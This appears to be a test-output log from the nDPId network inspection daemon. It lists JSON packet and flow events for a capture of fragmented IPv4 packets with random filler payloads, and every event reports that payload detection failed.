+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":221133,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjc0ODM5Niko"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1534244026521,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":10790,"dst_port":24101,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521464,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiomXiUkI0AhQCMkJV4mKigSPwAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521492,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":521600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 